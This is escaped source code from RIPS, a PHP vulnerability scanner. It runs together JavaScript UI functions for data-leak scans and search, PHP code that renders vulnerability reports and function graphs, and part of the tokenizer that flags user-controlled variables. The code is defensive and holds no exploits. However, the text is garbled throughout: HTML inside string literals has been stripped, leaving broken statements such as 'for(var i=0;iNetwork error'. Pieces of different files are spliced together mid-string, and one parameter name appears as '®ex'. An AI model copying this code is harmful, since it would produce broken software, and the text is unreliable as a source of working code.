\";\n\t\t\tdocument.getElementById(\"scanning\").style.backgroundImage=\"none\";\n\t\t\tdocument.getElementById(\"scanning\").innerHTML=warning;\n\t\t}\n\t}\n\tclient.open(\"POST\", \"main.php\", true);\n\tclient.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\tclient.setRequestHeader(\"Content-length\", params.length);\n\tclient.setRequestHeader(\"Connection\", \"close\");\n\tclient.send(params);\n}\n\nfunction leakScan(hoveritem, varname, line, ignore_warning)\n{\n\tvar title = 'Data Leak Scan - ' + varname;\n\tvar mywindow = document.getElementById(\"window2\");\n\tmywindow.style.display=\"block\";\n\tmywindow.style.width=700;\n\tmywindow.style.height=350;\n\n\tif(hoveritem)\n\t{\n\t\tif(hoveritem != 3 && hoveritem != 4)\n\t\t\tvar tmp = hoveritem.offsetParent;\n\t\telse\n\t\t\tvar tmp = document.getElementById(\"windowtitle\"+hoveritem);\n\n\t\tmywindow.style.top = tmp.offsetParent.offsetTop - 90;\n\t\tmywindow.style.right = 250;\n\t}\n\n\tdocument.getElementById(\"windowtitle2\").innerHTML=title;\n\n\tvar location = encodeURIComponent(document.getElementById(\"location\").value);\n\tvar subdirs = Number(document.getElementById(\"subdirs\").checked);\n\tvar treestyle = document.getElementById(\"treestyle\").value;\n\n\tvar params = \"loc=\"+location+\"&subdirs=\"+subdirs+\"&treestyle=\"+treestyle+\"&varname=\"+varname+\"&line=\"+line;\n\n\tif(ignore_warning)\n\t\tparams+=\"&ignore_warning=1\";\n\n\tdocument.getElementById(\"windowcontent2\").innerHTML = '';\n\tvar scandiv = document.createElement('div');\n\tscandiv.className=\"scanning\";\n\tscandiv.style.marginTop=\"30px\";\n\tscandiv.style.marginLeft=\"150px\";\n\tscandiv.style.backgroundImage=\"url(css/scanning.gif)\";\n\tscandiv.innerHTML='scanning ...';\n\tscandiv.id=\"dataleakscanning\";\n\tscandiv.style.display=\"block\";\n\n\tdocument.getElementById(\"windowcontent2\").appendChild(scandiv);\n\n\tvar a = true;\n\tstats_done = false;\n\tclient = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 3 && !stats_done)\n\t\t\thandleResponse('leakscan');\n\t\telse if(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tif(!this.responseText.match(/^\\s*warning:/))\n\t\t\t{\n\t\t\t\tdocument.getElementById(\"dataleakscanning\").style.display=\"none\";\n\n\t\t\t\tnostats = this.responseText.split(\"STATS_DONE.\\n\");\n\n\t\t\t\tif(nostats[1])\n\t\t\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML=(nostats[1]);\n\t\t\t\telse\n\t\t\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML='Network error (HTTP \"+this.status+\")
\";\n\t\t\tif(this.status == 0)\n\t\t\t\twarning+=\"Could not access main.php. Make sure your webserver is running.
\";\n\t\t\telse if(this.status == 404)\n\t\t\t\twarning+=\"Could not access main.php. Make sure you copied all files.
\";\n\t\t\telse if(this.status == 500)\n\t\t\t\twarning+=\"Scan aborted. Try to scan only one entry file at once or increase the set_time_limit() in config/general.php.
\";\n\t\t\twarning+=\"\";\n\t\t\t\twarning+=\"
\";\n\t\t\t\tdocument.getElementById(\"dataleakscanning\").style.backgroundImage=\"none\";\n\t\t\t\tdocument.getElementById(\"dataleakscanning\").innerHTML=warning;\n\t\t\t}\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\tvar warning = \"warning
\";\n\t\t\t\twarning+=\"You are about to scan \" + amount + \" files. \";\n\t\t\t\twarning+=\"Depending on the amount of codelines and includes this may take a while. \";\n\t\t\t\twarning+=\"The author of RIPS recommends to scan only the root directory of your project without subdirs.
\";\n\t\t\t\twarning+=\"Do you want to continue anyway?
\";\n\t\t\t\twarning+=\" \";\n\t\t\t\twarning+=\"\";\n\t\t\t\twarning+=\"\";\n\t\t\twarning+=\"
\";\n\t\t\tdocument.getElementById(\"dataleakscanning\").style.backgroundImage=\"none\";\n\t\t\tdocument.getElementById(\"dataleakscanning\").innerHTML=warning;\n\t\t}\n\t}\n\tclient.open(\"POST\", \"windows/leakscan.php\", true);\n\tclient.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\tclient.setRequestHeader(\"Content-length\", params.length);\n\tclient.setRequestHeader(\"Connection\", \"close\");\n\tclient.send(params);\n}\n\n/* SEARCH */\n\nfunction search()\n{\n\tvar location = encodeURIComponent(document.getElementById(\"location\").value);\n\tvar subdirs = Number(document.getElementById(\"subdirs\").checked);\n\tvar regex = encodeURIComponent(document.getElementById(\"search\").value);\n\tvar stylesheet = document.getElementById(\"css\").value;\n\n\tvar params = 'loc='+location+'&subdirs='+subdirs+'&search=1®ex='+regex+'&ignore_warning=1&treestyle=1&stylesheet='+stylesheet;\n\n\tdocument.getElementById(\"scanning\").style.backgroundImage=\"url(css/scanning.gif)\";\n\tdocument.getElementById(\"scanning\").innerHTML='searching ...';\n\tdocument.getElementById(\"scanning\").style.display=\"block\";\n\tvar animation = window.setInterval(\"scanAnimation(document.getElementById('scanned'))\", 300);\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"scanning\").style.display=\"none\";\n\t\t\twindow.clearInterval(animation);\n\t\t\tdocument.getElementById(\"options\").style.display=\"none\";\n\t\t\tdocument.getElementById(\"result\").innerHTML=(this.responseText);\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"POST\", \"main.php\", true);\n\tclient.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\tclient.setRequestHeader(\"Content-length\", params.length);\n\tclient.setRequestHeader(\"Connection\", \"close\");\n\tclient.send(params);\n}\n\n\n/* CODE STYLE */\n\nfunction setActiveStyleSheet(title)\n{\n\tvar i, a;\n\tfor(i=0; (a = document.getElementsByTagName(\"link\")[i]); i++)\n\t{\n\t\tif(a.getAttribute(\"rel\").indexOf(\"style\") != -1 && a.getAttribute(\"title\"))\n\t\t{\n\t\t\ta.disabled = true;\n\t\t\tif(a.getAttribute(\"title\") == title) a.disabled = false;\n\t\t}\n\t}\n}\n\nfunction hide(tag)\n{\n\tif(document.getElementById(tag).style.display != \"none\")\n\t{\n\t\tdocument.getElementById(tag).style.display=\"none\";\n\t\tdocument.getElementById(\"pic\"+tag).className='plusico';\n\t}\n\telse\n\t{\n\t\tdocument.getElementById(tag).style.display=\"block\";\n\t\tdocument.getElementById(\"pic\"+tag).className='minusico';\n\t}\n}\n\nfunction catshow(tag)\n{\n\tvar elements = document.getElementsByName('allcats');\n\tfor(var i=0;iNetwork error (HTTP \"+this.status+\")
\";\n\t\t\tif(this.status == 0)\n\t\t\t\twarning+=\"Could not access windows/leakscan.php. Make sure your webserver is running.
\";\n\t\t\telse if(this.status == 404)\n\t\t\t\twarning+=\"Could not access windows/leakscan.php. Make sure you copied all files.
\";\n\t\t\telse if(this.status == 500)\n\t\t\t\twarning+=\"Scan aborted. Try to scan only one entry file at once or increase the set_time_limit() in config/general.php.
\";\n\t\t\twarning+=\"- ';\n\n\t\tforeach ($tree->children as $child)\n\t\t{\n\t\t\t$lines = traverseTopDown($child, false, $lines);\n\t\t}\n\n\t\t// do not display a line twice\n\t\t// problem: different lines in different files with equal line number\n\t\tif(!isset($lines[$tree->line]))\n\t\t{\n\t\t\techo '
- requires:';\n\n\t\t\tforeach ($tree->dependencies as $linenr=>$dependency)\n\t\t\t{\n\t\t\t\tif(!empty($dependency))\n\t\t\t\t{\n\t\t\t\t\techo '
- '.highlightline($dependency, '', $linenr).'
',\n\t\t\t\t\t'File: ',key($output),'
',\n\t\t\t\t\t'
';\n\n\t\t\t\t\tforeach($output[key($output)] as $vulnBlock)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($vulnBlock->vuln)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$nr++;\n\t\t\t\t\t\t\techo '',\"\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\techo '
',\n\t\t\t\t\t'
';\n\n\t\t\t\t\tforeach($output[key($output)] as $vulnBlock)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($vulnBlock->vuln)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$nr++;\n\t\t\t\t\t\t\techo '
',\n\t\t\t\t\t\t\t'
category,$nr,'\" class=\"minusico\" name=\"pic',$vulnBlock->category,'\" style=\"margin-top:5px\" title=\"minimize\"',\n\t\t\t\t\t\t\t' onClick=\"hide(\\'',$vulnBlock->category,$nr,'\\')\">
',$vulnBlock->category,'
',\n\t\t\t\t\t\t\t'category,'\" id=\"',$vulnBlock->category,$nr,'\">';\n\n\t\t\t\t\t\t\tif($treestyle == 2)\n\t\t\t\t\t\t\t\tkrsort($vulnBlock->treenodes);\n\n\t\t\t\t\t\t\tforeach($vulnBlock->treenodes as $tree)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// we do not have a prescan yet so RIPS misses function calls before the actual declaration, so we output vulns in functions without function call too (could have happened earlier)\n\t\t\t\t\t\t\t\t// if(empty($tree->funcdepend) || $tree->foundcallee )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '',\"\\n\",\n\t\t\t\t\t\t\t\t\t'
',\"\\n\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif(!empty($vulnBlock->alternatives))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\techo '
';\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\techo '
| ',\"\\n\",\n\t\t\t\t\t\t\t\t\t' filename), '\\',\\'',\n\t\t\t\t\t\t\t\t\timplode(',', $tree->lines), '\\');\"> '.\"\\n\",\n\t\t\t\t\t\t\t\t\t'lines[0],'\" class=\"minusico\" title=\"minimize\"',\n\t\t\t\t\t\t\t\t\t' onClick=\"hide(\\'',addslashes(key($output)),$tree->lines[0],'\\')\"> ',\"\\n\";\n\n\t\t\t\t\t\t\t\t\tif(isset($GLOBALS['scan_functions'][$tree->name]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t// help button\n\t\t\t\t\t\t\t\t\t\techo ' category,'\\',\\'',$tree->name,'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->get),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->post),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->cookie),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->files),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->cookie),'\\')\"> ',\"\\n\";\n\n\t\t\t\t\t\t\t\t\t\tif(isset($GLOBALS['F_DATABASE'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_FILE_AFFECT'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_FILE_READ'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_LDAP'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_XPATH'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_POP'][$tree->name]) )\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t// data leak scan\n\t\t\t\t\t\t\t\t\t\t\tif(!empty($vulnBlock->dataleakvar))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo 'dataleakvar[1],'\\',\\'', // varname\n\t\t\t\t\t\t\t\t\t\t\t\t$vulnBlock->dataleakvar[0],'\\', false)\"> ',\"\\n\"; // line\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$tree->title .= ' (Blind exploitation)';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif(!empty($tree->get) || !empty($tree->post)\n\t\t\t\t\t\t\t\t\t|| !empty($tree->cookie) || !empty($tree->files)\n\t\t\t\t\t\t\t\t\t|| !empty($tree->server) )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t/*echo 'filename),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->get)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->post)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->cookie)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->files)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->server)),'\\');\"> ',\"\\n\",*/\n\n\t\t\t\t\t\t\t\t\t\techo 'filename),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->get)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->post)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->cookie)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->files)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->server)),'\\');\"> ';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// $tree->title\n\t\t\t\t\t\t\t\t\techo ' | ',$tree->title,'',\n\t\t\t\t\t\t\t\t\t' lines[0],'\">',\"\\n\";\n\n\t\t\t\t\t\t\t\t\tif($treestyle == 1)\n\t\t\t\t\t\t\t\t\t\ttraverseBottomUp($tree);\n\t\t\t\t\t\t\t\t\telse if($treestyle == 2)\n\t\t\t\t\t\t\t\t\t\ttraverseTopDown($tree);\n\n\t\t\t\t\t\t\t\t\t\techo ' ',\"\\n\", '
|
|
',\"\\n\";\n\t\t\t\t}\n\t\t\t\telse if(count($output) == 1)\n\t\t\t\t{\n\t\t\t\t\techo '
Nothing vulnerable found. Change the verbosity level or vulnerability type and try again.
';\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile(next($output));\n\t\t}\n\t\telse if(count($GLOBALS['scanned_files']) > 0)\n\t\t{\n\t\t\techo 'Nothing vulnerable found. Change the verbosity level or vulnerability type and try again.
';\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo 'Nothing to scan. Please check your path/file name.
';\n\t\t}\n\n\t}\n\n\t// build list of available functions\n\tfunction createFunctionList($user_functions_offset)\n\t{\n\t\tif(!empty($user_functions_offset))\n\t\t{\n\t\t\tksort($user_functions_offset);\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t$js = 'graph2 = new Graph(document.getElementById(\"functioncanvas\"));'.\"\\n\";\n\t\t\telse\n\t\t\t\t$js = 'canvas = document.getElementById(\"functioncanvas\");ctx = canvas.getContext(\"2d\");ctx.fillStyle=\"#ff0000\";ctx.fillText(\"Graphs have been disabled for a high file amount (>'.WARNFILES.').\", 20, 30);';\n\t\t\t$x=20;\n\t\t\t$y=50;\n\t\t\t$i=0;\n\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t{\n\t\t\t\t// create JS graph elements\n\t\t\t\tforeach($user_functions_offset as $func_name => $info)\n\t\t\t\t{\n\t\t\t\t\tif($func_name !== '__main__')\n\t\t\t\t\t{\n\t\t\t\t\t\t$x = ($i%4==0) ? $x=20 : $x=$x+160;\n\t\t\t\t\t\t$y = ($i%4==0) ? $y=$y+70 : $y=$y;\n\t\t\t\t\t\t$i++;\n\n\t\t\t\t\t\t$func_varname = str_replace('::', '', $func_name);\n\n\t\t\t\t\t\t$js.= \"var e$func_varname = graph2.addElement(pageTemplate, { x:$x, y:$y }, '\".addslashes($func_name).\"( )', '', '\".(isset($info[5]) ? $info[5] : 0).\"', '\".(isset($info[6]) ? $info[6] : 0).\"', 0);\\n\";\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$js.='var e__main__ = graph2.addElement(pageTemplate, { x:260, y:20 }, \"__main__\", \"\", \"'.(isset($info[5]) ? $info[5] : 0).'\", \"'.(isset($info[6]) ? $info[6] : 0).'\", 0);'.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\techo '| declaration | calls |
|---|---|
',$func_name,' | ';\n\n\t\t\t\t$calls = array();\n\t\t\t\tif(isset($info[3]))\n\t\t\t\t{\n\t\t\t\t\tforeach($info[3] as $call)\n\t\t\t\t\t{\n\t\t\t\t\t\t$calls[] = ''.$call[1].'';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo implode(',',array_unique($calls)).' |
| type[parameter] | taints |
|---|---|
| $input_name | \",implode(',',array_unique($finds)),' |
',htmlentities($filename),' |
',htmlentities($filename),'
|
',$amount,'
var:\".$var_name; echo \" varkeys:\";print_r($var_token[3]); echo \" declarekeys:\";print_r($var_declare->array_keys); echo \" diff:\"; print_r($array_key_diff); echo \" |||\";\n\n#if(!empty($var_declare->array_keys)) die(print_r($var_declare->array_keys) . print_r($var_keys));\n\n\t\t\t\tif( $var_declare->id < $last_token_id && (empty($array_key_diff) || in_array('*', $array_key_diff) || in_array('*', $var_declare->array_keys)) /* && (empty($var_declare->array_keys) || empty($var_keys) || $var_declare->array_keys == $var_keys || in_array('*', $var_keys) || in_array('*', $array_key_diff) || in_array('*', $var_declare->array_keys) ) */ )\n\t\t\t\t{\n\t\t\t\t\t$comment = '';\n\t\t\t\t\t// add line to output\n\t\t\t\t\tif(count($mainparent->lines) < MAXTRACE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$clean_vars_before_ifelse = false;\n\t\t\t\t\t\t// add same var_name with different dependencies\n\t\t\t\t\t\tif(!empty($var_declare->dependencies) && $mainparent->dependencies != $var_declare->dependencies )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach($var_declare->dependencies as $deplinenr=>$dependency)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( !isset($mainparent->dependencies[$deplinenr]) && $deplinenr != $var_declare->line )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$vardependent = true;\n\t\t\t\t\t\t\t\t\t$comment.= tokenstostring($dependency).', ';\n\t\t\t\t\t\t\t\t\t// if dependencie has an ELSE clause, same vars before are definetely overwritten\n\t\t\t\t\t\t\t\t\tif($dependency[count($dependency)-1][0] === T_ELSE)\n\t\t\t\t\t\t\t\t\t\t$clean_vars_before_ifelse = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// stop at var declarations before if else statement. they are overwritten\n\t\t\t\t\t\tif($clean_vars_before_ifelse)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfor($c=0;$c
\";\n\n\t\t\t\t/*************************\n\t\t\t\t\t\tT_VARIABLE\n\t\t\t\t*************************/\n\t\t\t\tif($token_name === T_VARIABLE)\n\t\t\t\t{\n\t\t\t\t\t// $var()\n\t\t\t\t\tif($this->tokens[$i+1][0] === '(')\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->variable_scan($i, 0, 'eval', 'Userinput is used as dynamic function name. Arbitrary functions may be called.');\n\t\t\t\t\t}\n\t\t\t\t\t// $$var =\n\t\t\t\t\telse if( ($this->tokens[$i-1] === '$' || ($this->tokens[$i-1] === '{' && $this->tokens[$i-2] === '$')) && ($this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT)) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->variable_scan($i, $this->tokens[$i-1] === '{' ? 2 : 1, 'extract', 'Userinput is used to build the variable name. Arbitrary variables may be overwritten/initialized which may lead to further vulnerabilities.');\n\t\t\t\t\t}\n\t\t\t\t\t// foreach($var as $key => $value)\n\t\t\t\t\telse if( $this->tokens[$i-1][0] === T_AS\n\t\t\t\t\t|| ($this->tokens[$i-1][0] === T_DOUBLE_ARROW && $this->tokens[$i-2][0] === T_VARIABLE && $this->tokens[$i-3][0] === T_AS) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$c=3;\n\t\t\t\t\t\twhile($this->tokens[$i-$c][0] !== T_FOREACH)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\tif(($i-$c)<0 || $this->tokens[$i-$c] === ';')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find FOREACH token before AS token', array_slice($this->tokens, $i-5, 10), $this->tokens[$i-1][2], $this->file_pointer);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\tarray_slice($this->tokens, $i-$c, $c+Analyzer::getBraceEnd($this->tokens, $i)),\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t0, 0,\n\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t// for($var=1; ...)\t: add whole instruction block to output\n\t\t\t\t\telse if( $this->tokens[$i-2][0] === T_FOR\n\t\t\t\t\t&& ($this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT)) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$c=1;\n\t\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t\t$firstsemi = 0;\n\t\t\t\t\t\t// do not use getBraceEnd() here, because we dont want to stop at ';' in for(;;)\n\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\tif( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ';' && $firstsemi < 1 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$firstsemi = $c;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find closing parenthesis of for-statement.', array_slice($this->tokens, $i-2, 10), $this->tokens[$i-2][2], $this->file_pointer);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// overwrite value of first var because it is looped\n\t\t\t\t\t\t// this is an assumption, other vars could be declared for($var1=1;$var2=2;...)\n\t\t\t\t\t\t$this->tokens[$i+2][0] = T_ENCAPSED_AND_WHITESPACE;\n\t\t\t\t\t\t$this->tokens[$i+2][1] = '*';\n\n\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\tarray_slice($this->tokens, $i-2, $c+2),\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t1, 2+$firstsemi,\n\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t// $var = ...;\n\t\t\t\t\telse if( $this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$vardeclare = array();\n\n\t\t\t\t\t\t// $var = array(1,2,3,4);\n\t\t\t\t\t\tif($this->tokens[$i+2][0] === T_ARRAY && $this->tokens[$i+3] === '(' && $this->tokens[$i+4] !== ')')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$d = 4;\n\t\t\t\t\t\t\t$keyindex = 0;\n\t\t\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t\t\t$keytokens = array();\n\t\t\t\t\t\t\t$valuetokens = array();\n\n\t\t\t\t\t\t\twhile( !($newbraceopen === 0 || $this->tokens[$i + $d] === ';')\n\t\t\t\t\t\t\t&& $keyindex < MAX_ARRAY_ELEMENTS )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\tif( $newbraceopen === 1 && ($this->tokens[$i + $d] === ',' || $this->tokens[$i + $d] === ')' ))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newindexvar = $this->tokens[$i];\n\t\t\t\t\t\t\t\t\t$newindexvar[3][] = empty($keytokens) ? $keyindex : $keytokens;\n\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\t\t\t\tarray_merge(array($newindexvar,$this->tokens[$i+1]), $valuetokens),\n\t\t\t\t\t\t\t\t\t\t' array() ',\n\t\t\t\t\t\t\t\t\t\tin_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ? 0 : 1, 0,\n\t\t\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array(),\n\t\t\t\t\t\t\t\t\t\tempty($keytokens) ? $keyindex : $keytokens\n\t\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t\t$keyindex++;\n\t\t\t\t\t\t\t\t\t$keytokens = array();\n\t\t\t\t\t\t\t\t\t$valuetokens = array();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in array braces\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $d] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $d] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// \"=>\" detected, tokens before are keyname, next one value\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $d][0] === T_DOUBLE_ARROW )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$keytokens = $valuetokens;\n\t\t\t\t\t\t\t\t\t$valuetokens = array();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// main\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$valuetokens[] = $this->tokens[$i + $d];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$d++;\n\n\t\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$d]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Could not find closing parenthesis of array()-declaration.', array_slice($this->tokens, $i, 10), $this->tokens[$i+2][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$vardeclare['end'] = Analyzer::getBraceEnd($this->tokens, $i)+1;\n\t\t\t\t\t\t// $var = anything;\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i, $vardeclare['end'] = Analyzer::getBraceEnd($this->tokens, $i)+1),\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\tin_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ? 0 : 1, 0,\n\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// save var and var declare scope for data leak scan\n\t\t\t\t\t\t$vardeclare['start'] = $i;\n\t\t\t\t\t\t$vardeclare['name'] = $token_value;\n\t\t\t\t\t\t$vardeclare['linenr'] = $line_nr;\n\t\t\t\t\t\t$vardeclare['end'] += $i-1;\n\t\t\t\t\t}\n\n\t\t\t\t\t// $class->var\n\t\t\t\t\t//else if ($token_name === T_STRING && $tokens[$i-1][0] === T_OBJECT_OPERATOR && $tokens[$i-2][0] === T_VARIABLE)\n\n\t\t\t\t\t// add user input variables to global finding list\n\t\t\t\t\tif( in_array($token_value, Sources::$V_USERINPUT) 